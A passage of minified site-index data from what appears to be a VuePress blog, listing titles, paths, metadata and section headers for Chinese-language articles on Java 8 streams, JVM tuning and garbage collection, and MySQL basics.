框架",slug:"fork-join-框架"},{level:3,title:"Stream概述",slug:"stream概述"},{level:3,title:"何为Stream?",slug:"何为stream"},{level:3,title:"Stream操作步骤",slug:"stream操作步骤"},{level:3,title:"如何创建Stream流?",slug:"如何创建stream流"},{level:3,title:"Stream的中间操作",slug:"stream的中间操作-2"},{level:3,title:"筛选与切片",slug:"筛选与切片-2"},{level:3,title:"映射",slug:"映射"},{level:3,title:"排序",slug:"排序"},{level:3,title:"Stream的终止操作",slug:"stream的终止操作"},{level:3,title:"查找与匹配",slug:"查找与匹配"},{level:3,title:"规约",slug:"规约"},{level:3,title:"收集",slug:"收集"},{level:3,title:"如何收集Stream流?",slug:"如何收集stream流"},{level:3,title:"什么是并行流?",slug:"什么是并行流"},{level:3,title:"Fork/Join 框架",slug:"fork-join-框架-2"},{level:3,title:"Fork/Join 框架与传统线程池有啥区别?",slug:"fork-join-框架与传统线程池有啥区别"},{level:3,title:"Fork/Join框架实例",slug:"fork-join框架实例"},{level:3,title:"Java8中的并行流实例",slug:"java8中的并行流实例"},{level:2,title:"Optional类",slug:"optional类"},{level:3,title:"什么是Optional类?",slug:"什么是optional类"},{level:3,title:"Optional类示例",slug:"optional类示例"},{level:2,title:"默认方法",slug:"默认方法"},{level:3,title:"接口中的默认方法",slug:"接口中的默认方法"},{level:3,title:"默认方法的原则",slug:"默认方法的原则"},{level:3,title:"接口中的静态方法",slug:"接口中的静态方法"},{level:2,title:"本地时间和时间戳",slug:"本地时间和时间戳"},{level:3,title:"使用 LocalDate、 LocalTime、 LocalDateTime",slug:"使用-localdate、-localtime、-localdatetime"},{level:3,title:"Instant 时间戳",slug:"instant-时间戳"},{level:3,title:"Duration 和 Period",slug:"duration-和-period"},{level:3,title:"日期的操纵",slug:"日期的操纵"},{level:3,title:"解析与格式化",slug:"解析与格式化"},{level:3,title:"时区的处理",slug:"时区的处理"},{level:3,title:"与传统日期处理的转换",slug:"与传统日期处理的转换"},{level:2,title:"JDK注解",slug:"jdk注解"},{level:3,title:"JDK5中的注解",slug:"jdk5中的注解"},{level:3,title:"Java8中的注解",slug:"java8中的注解"},{level:3,title:"Java8对注解的增强",slug:"java8对注解的增强"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/senior/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/core/java/senior/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/senior/default.html",relativePath:"md/core/java/senior/default.md",key:"v-28a66745",path:"/md/core/java/senior/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"JVM调优的几种场景",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM调优的几种场景",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"最近很多小伙伴跟我说,自己学了不少JVM的调优知识,但是在实际工作中却不知道何时对JVM进行调优。今天,冰河就为大家介绍几种JVM调优的场景。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"JVM调优的几种场景"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-001-JVM%E8%B0%83%E4%BC%98%E7%9A%84%E5%87%A0%E7%A7%8D%E5%9C%BA%E6%99%AF.html"},{name:"twitter:title",content:"JVM调优的几种场景"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-001-JVM%E8%B0%83%E4%BC%98%E7%9A%84%E5%87%A0%E7%A7%8D%E5%9C%BA%E6%99%AF.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-001-JVM%E8%B0%83%E4%BC%98%E7%9A%84%E5%87%A0%E7%A7%8D%E5%9C%BA%E6%99%AF.html",relativePath:"md/core/jvm/2022-04-18-001-JVM调优的几种场景.md",key:"v-bbb072c2",path:"/md/core/jvm/2022-04-18-001-JVM%E8%B0%83%E4%BC%98%E7%9A%84%E5%87%A0%E7%A7%8D%E5%9C%BA%E6%99%AF.html",headers:[{level:2,title:"cpu占用过高",slug:"cpu占用过高"},{level:2,title:"死锁",slug:"死锁"},{level:2,title:"内存泄漏",slug:"内存泄漏"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"类的编译、编译优化、常量这地、泛型擦除、条件编译",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"类的编译、编译优化、常量这地、泛型擦除、条件编译",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"今天,我们一起研究下JVM中类的编译问题,好了,不多说了,进入今天的正题。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"类的编译、编译优化、常量这地、泛型擦除、条件编译"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-002-%E7%B1%BB%E7%9A%84%E7%BC%96%E8%AF%91.html"},{name:"twitter:title",content:"类的编译、编译优化、常量这地、泛型擦除、条件编译"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-002-%E7%B1%BB%E7%9A%84%E7%BC%96%E8%AF%91.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-002-%E7%B1%BB%E7%9A%84%E7%BC%96%E8%AF%91.html",relativePath:"md/core/jvm/2022-04-18-002-类的编译.md",key:"v-3bb97eee",path:"/md/core/jvm/2022-04-18-002-%E7%B1%BB%E7%9A%84%E7%BC%96%E8%AF%91.html",headers:[{level:2,title:"编译",slug:"编译"},{level:2,title:"编译优化",slug:"编译优化"},{level:3,title:"常量折叠",slug:"常量折叠"},{level:3,title:"泛型的擦除",slug:"泛型的擦除"},{level:3,title:"自动装箱、拆箱与循环遍历",slug:"自动装箱、拆箱与循环遍历"},{level:3,title:"条件编译",slug:"条件编译"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"类的加载过程",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"类的加载过程",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"首先,小伙伴们有没有想过这样一个问题呢:Java字节码文件是如何加载到JVM的呢?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"类的加载过程"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-003-%E7%B1%BB%E7%9A%84%E5%8A%A0%E8%BD%BD%E8%BF%87%E7%A8%8B.html"},{name:"twitter:title",content:"类的加载过程"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-003-%E7%B1%BB%E7%9A%84%E5%8A%A0%E8%BD%BD%E8%BF%87%E7%A8%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-003-%E7%B1%BB%E7%9A%84%E5%8A%A0%E8%BD%BD%E8%BF%87%E7%A8%8B.html",relativePath:"md/core/jvm/2022-04-18-003-类的加载过程.md",key:"v-45d8e7d0",path:"/md/core/jvm/2022-04-18-003-%E7%B1%BB%E7%9A%84%E5%8A%A0%E8%BD%BD%E8%BF%87%E7%A8%8B.html",headers:[{level:2,title:"类加载",slug:"类加载"},{level:3,title:"加载",slug:"加载"},{level:3,title:"验证",slug:"验证"},{level:3,title:"准备",slug:"准备"},{level:3,title:"解析",slug:"解析"},{level:3,title:"初始化",slug:"初始化"},{level:2,title:"类加载器",slug:"类加载器"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"JVM内存空间",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM内存空间",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"jvm会把内存划分成不同的数据区域,那加载的类是分配到哪里呢?下图是内存的各个区域,包括:方法区、堆、虚拟机栈、本地方法栈、程序计数器。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"JVM内存空间"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-004-JVM%E5%86%85%E5%AD%98%E7%A9%BA%E9%97%B4.html"},{name:"twitter:title",content:"JVM内存空间"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-004-JVM%E5%86%85%E5%AD%98%E7%A9%BA%E9%97%B4.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-004-JVM%E5%86%85%E5%AD%98%E7%A9%BA%E9%97%B4.html",relativePath:"md/core/jvm/2022-04-18-004-JVM内存空间.md",key:"v-57322474",path:"/md/core/jvm/2022-04-18-004-JVM%E5%86%85%E5%AD%98%E7%A9%BA%E9%97%B4.html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"JVM堆内存分配机制",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM堆内存分配机制",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"堆内存分为新生代和老年代,新生代是用于存放使用后准备被回收的对象,老年代是用于存放生命周期比较长的对象。大部分我们创建的对象,都属于生命周期比较短的,所以会存放在新生代。新生代又细分Eden空间、From Survivor空间、To Survivor空间,我们创建的对象,对象优先在Eden分配。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"JVM堆内存分配机制"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-005-JVM%E5%A0%86%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D.html"},{name:"twitter:title",content:"JVM堆内存分配机制"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-005-JVM%E5%A0%86%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-005-JVM%E5%A0%86%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D.html",relativePath:"md/core/jvm/2022-04-18-005-JVM堆内存分配.md",key:"v-7f325c22",path:"/md/core/jvm/2022-04-18-005-JVM%E5%A0%86%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D.html",headers:[{level:2,title:"对象优先在Eden分配",slug:"对象优先在eden分配"},{level:2,title:"大对象直接进入老年代",slug:"大对象直接进入老年代"},{level:2,title:"长期存活的对象将进入老年代",slug:"长期存活的对象将进入老年代"},{level:2,title:"动态年龄判断",slug:"动态年龄判断"},{level:2,title:"空间分配担保",slug:"空间分配担保"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"JVM垃圾回收机制",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM垃圾回收机制",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"当我们调用一个方法的时候,就会创建这个方法的栈帧,当方法调用结束的时候,这个栈帧出栈,栈帧所占用的内存也随之释放。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"JVM垃圾回收机制"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-006-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6.html"},{name:"twitter:title",content:"JVM垃圾回收机制"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-006-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-006-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6.html",relativePath:"md/core/jvm/2022-04-18-006-JVM垃圾回收机制.md",key:"v-22962a7b",path:"/md/core/jvm/2022-04-18-006-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6.html",headers:[{level:2,title:"可达性分析算法",slug:"可达性分析算法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"JVM垃圾回收算法",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM垃圾回收算法",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"标记-清除算法就是,先标记哪些对象是存活的,哪些对象是可以回收的,然后再把标记为可回收的对象清除掉。从下面的图可以看到,回收后,产生了大量的不连续的内存碎片,如果这个时候,有一个比较大的对象进来,却没有一个连续的内存空间给他使用,又会触发一次垃圾收集动作。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"JVM垃圾回收算法"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-007-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E7%AE%97%E6%B3%95.html"},{name:"twitter:title",content:"JVM垃圾回收算法"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-007-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E7%AE%97%E6%B3%95.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-007-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E7%AE%97%E6%B3%95.html",relativePath:"md/core/jvm/2022-04-18-007-JVM垃圾回收算法.md",key:"v-4f5dd6b6",path:"/md/core/jvm/2022-04-18-007-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E7%AE%97%E6%B3%95.html",headers:[{level:2,title:"标记-清除",slug:"标记-清除"},{level:2,title:"复制算法",slug:"复制算法"},{level:2,title:"标记-整理",slug:"标记-整理"},{level:2,title:"性能与优化",slug:"性能与优化"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"CMS垃圾收集器",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"CMS垃圾收集器",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"今天,继续给大家分享关于JVM的文章,今天给大家带来的是一篇关于JVM CMS垃圾收集器的文章,好了,不多说了,进入今天的正题。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"CMS垃圾收集器"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-008-JVM-CMS%E5%9E%83%E5%9C%BE%E6%94%B6%E9%9B%86%E5%99%A8.html"},{name:"twitter:title",content:"CMS垃圾收集器"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-008-JVM-CMS%E5%9E%83%E5%9C%BE%E6%94%B6%E9%9B%86%E5%99%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-008-JVM-CMS%E5%9E%83%E5%9C%BE%E6%94%B6%E9%9B%86%E5%99%A8.html",relativePath:"md/core/jvm/2022-04-18-008-JVM-CMS垃圾收集器.md",key:"v-2426679f",path:"/md/core/jvm/2022-04-18-008-JVM-CMS%E5%9E%83%E5%9C%BE%E6%94%B6%E9%9B%86%E5%99%A8.html",headers:[{level:2,title:"初始标记",slug:"初始标记"},{level:2,title:"并发标记",slug:"并发标记"},{level:2,title:"重新标记",slug:"重新标记"},{level:2,title:"并发清除",slug:"并发清除"},{level:2,title:"缺点",slug:"缺点"},{level:3,title:"CPU",slug:"cpu"},{level:3,title:"浮动垃圾",slug:"浮动垃圾"},{level:3,title:"空间碎片",slug:"空间碎片"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"G1收集器、Region、停顿时间模型、垃圾回收",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"G1收集器、Region、停顿时间模型、垃圾回收",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"今天,我们继续学习JVM相关的知识,今天给大家分享一篇关于G1收集器的文章,好了,不多说了,直接进入正题。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"G1收集器、Region、停顿时间模型、垃圾回收"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-009-JVM%20-G1%E6%94%B6%E9%9B%86%E5%99%A8-Region-%E5%81%9C%E9%A1%BF%E6%97%B6%E9%97%B4%E6%A8%A1%E5%9E%8B-%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6.html"},{name:"twitter:title",content:"G1收集器、Region、停顿时间模型、垃圾回收"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-009-JVM%20-G1%E6%94%B6%E9%9B%86%E5%99%A8-Region-%E5%81%9C%E9%A1%BF%E6%97%B6%E9%97%B4%E6%A8%A1%E5%9E%8B-%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-009-JVM%20-G1%E6%94%B6%E9%9B%86%E5%99%A8-Region-%E5%81%9C%E9%A1%BF%E6%97%B6%E9%97%B4%E6%A8%A1%E5%9E%8B-%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6.html",relativePath:"md/core/jvm/2022-04-18-009-JVM -G1收集器-Region-停顿时间模型-垃圾回收.md",key:"v-f0577e44",path:"/md/core/jvm/2022-04-18-009-JVM%20-G1%E6%94%B6%E9%9B%86%E5%99%A8-Region-%E5%81%9C%E9%A1%BF%E6%97%B6%E9%97%B4%E6%A8%A1%E5%9E%8B-%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6.html",headers:[{level:2,title:"Region",slug:"region"},{level:2,title:"停顿时间模型",slug:"停顿时间模型"},{level:2,title:"垃圾回收",slug:"垃圾回收"},{level:3,title:"新生代回收",slug:"新生代回收"},{level:3,title:"老年代回收",slug:"老年代回收"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"JVM 内存布局",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM 内存布局",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"本JVM系列属于本人学习过程当中总结的一些知识点,目的是想让读者更快地掌握JVM相关的知识要点,难免会有所侧重,若想要更加系统更加详细的学习JVM知识,还是需要去阅读专业的书籍和文档。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"JVM 内存布局"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-010-JVM%E5%86%85%E5%AD%98%E5%B8%83%E5%B1%80.html"},{name:"twitter:title",content:"JVM 内存布局"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-010-JVM%E5%86%85%E5%AD%98%E5%B8%83%E5%B1%80.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-010-JVM%E5%86%85%E5%AD%98%E5%B8%83%E5%B1%80.html",relativePath:"md/core/jvm/2022-04-18-010-JVM内存布局.md",key:"v-041a4266",path:"/md/core/jvm/2022-04-18-010-JVM%E5%86%85%E5%AD%98%E5%B8%83%E5%B1%80.html",headers:[{level:2,title:"概览",slug:"概览"},{level:2,title:"一、Heap (堆区)",slug:"一、heap-堆区"},{level:3,title:"1.1 堆区的介绍",slug:"_1-1-堆区的介绍"},{level:3,title:"1.2 堆区的调整",slug:"_1-2-堆区的调整"},{level:3,title:"1.3 堆的默认空间分配",slug:"_1-3-堆的默认空间分配"},{level:3,title:"1.4 堆溢出 演示",slug:"_1-4-堆溢出-演示"},{level:3,title:"创建一个新对象 内存分配流程",slug:"创建一个新对象-内存分配流程"},{level:2,title:"二、Metaspace 元空间",slug:"二、metaspace-元空间"},{level:2,title:"三、 Java 虚拟机栈",slug:"三、-java-虚拟机栈"},{level:3,title:"1. 局部变量表",slug:"_1-局部变量表"},{level:3,title:"2. 操作栈",slug:"_2-操作栈"},{level:3,title:"3. 动态连接",slug:"_3-动态连接"},{level:3,title:"4. 方法返回地址",slug:"_4-方法返回地址"},{level:2,title:"四、本地方法栈",slug:"四、本地方法栈"},{level:2,title:"五、程序计数器",slug:"五、程序计数器"},{level:2,title:"六、直接内存",slug:"六、直接内存"},{level:2,title:"Code Cache",slug:"code-cache"},{level:3,title:"诊断选项",slug:"诊断选项"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第1章:开篇:专栏介绍",frontmatter:{layout:"post",category:"binghe-mysql-base",title:"第1章:开篇:专栏介绍",tagline:"by 冰河",tag:["mysql","binghe-mysql-base"],excerpt:"第1章:开篇:专栏介绍",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第1章:开篇:专栏介绍"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/mysql/base/2022-07-09-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:title",content:"第1章:开篇:专栏介绍"},{name:"twitter:url",content:"/md/core/mysql/base/2022-07-09-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/mysql/base/2022-07-09-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E4%BB%8B%E7%BB%8D.html",relativePath:"md/core/mysql/base/2022-07-09-《MySQL核心知识》第1章-开篇-专栏介绍.md",key:"v-12b6a3bb",path:"/md/core/mysql/base/2022-07-09-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E4%BB%8B%E7%BB%8D.html",headers:[{level:2,title:"为何要写MySQL核心",slug:"为何要写mysql核心"},{level:2,title:"你能学到什么?",slug:"你能学到什么"},{level:2,title:"一点点建议",slug:"一点点建议"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第2章:MySQL常用的命令",frontmatter:{layout:"post",category:"binghe-mysql-base",title:"第2章:MySQL常用的命令",tagline:"by 冰河",tag:["mysql","binghe-mysql-base"],excerpt:"第2章:MySQL常用的命令",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第2章:MySQL常用的命令"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/mysql/base/2022-07-11-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC2%E7%AB%A0-MySQL%E5%B8%B8%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.html"},{name:"twitter:title",content:"第2章:MySQL常用的命令"},{name:"twitter:url",content:"/md/core/mysql/base/2022-07-11-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC2%E7%AB%A0-MySQL%E5%B8%B8%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/mysql/base/2022-07-11-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC2%E7%AB%A0-MySQL%E5%B8%B8%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.html",relativePath:"md/core/mysql/base/2022-07-11-《MySQL核心知识》第2章-MySQL常用的命令.md",key:"v-a40f9786",path:"/md/core/mysql/base/2022-07-11-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC2%E7%AB%A0-MySQL%E5%B8%B8%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.html",headers:[{level:2,title:"MySQL常用命令",slug:"mysql常用命令"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第3章:MySQL中的运算符",frontmatter:{layout:"post",category:"binghe-mysql-base",title:"第3章:MySQL中的运算符",tagline:"by 冰河",tag:["mysql","binghe-mysql-base"],excerpt:"第3章:MySQL中的运算符",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第3章:MySQL中的运算符"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/mysql/base/2022-07-13-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC3%E7%AB%A0-MySQL%E4%B8%AD%E7%9A%84%E8%BF%90%E7%AE%97%E7%AC%A6.html"},{name:"twitter:title",content:"第3章:MySQL中的运算符"},{name:"twitter:url",content:"/md/core/mysql/base/2022-07-13-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC3%E7%AB%A0-MySQL%E4%B8%AD%E7%9A%84%E8%BF%90%E7%AE%97%E7%AC%A6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/mysql/base/2022-07-13-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC3%E7%AB%A0-MySQL%E4%B8%AD%E7%9A%84%E8%BF%90%E7%AE%97%E7%AC%A6.html",relativePath:"md/core/mysql/base/2022-07-13-《MySQL核心知识》第3章-MySQL中的运算符.md",key:"v-3f13a3c5",path:"/md/core/mysql/base/2022-07-13-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC3%E7%AB%A0-MySQL%E4%B8%AD%E7%9A%84%E8%BF%90%E7%AE%97%E7%AC%A6.html",headers:[{level:2,title:"安全等于运算符()",slug:"安全等于运算符"},{level:2,title:"LEAST运算符",slug:"least运算符"},{level:2,title:"GREATEST运算符",slug:"greatest运算符"},{level:2,title:"REGEXP 运算符",slug:"regexp-运算符"},{level:2,title:"逻辑运算符",slug:"逻辑运算符"},{level:2,title:"位运算符",slug:"位运算符"},{level:2,title:"特别提示",slug:"特别提示"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第4章:简单语法",frontmatter:{layout:"post",category:"binghe-mysql-base",title:"第4章:简单语法",tagline:"by 冰河",tag:["mysql","binghe-mysql-base"],excerpt:"第4章:简单语法",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第4章:简单语法"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/mysql/base/2022-07-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC4%E7%AB%A0-%E7%AE%80%E5%8D%95%E8%AF%AD%E6%B3%95.html"},{name:"twitter:title",content:"第4章:简单语法"},{name:"twitter:url",content:"/md/core/mysql/base/2022-07-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC4%E7%AB%A0-%E7%AE%80%E5%8D%95%E8%AF%AD%E6%B3%95.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/mysql/base/2022-07-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC4%E7%AB%A0-%E7%AE%80%E5%8D%95%E8%AF%AD%E6%B3%95.html",relativePath:"md/core/mysql/base/2022-07-18-《MySQL核心知识》第4章-简单语法.md",key:"v-84fd5362",path:"/md/core/mysql/base/2022-07-18-%E3%80%8AMy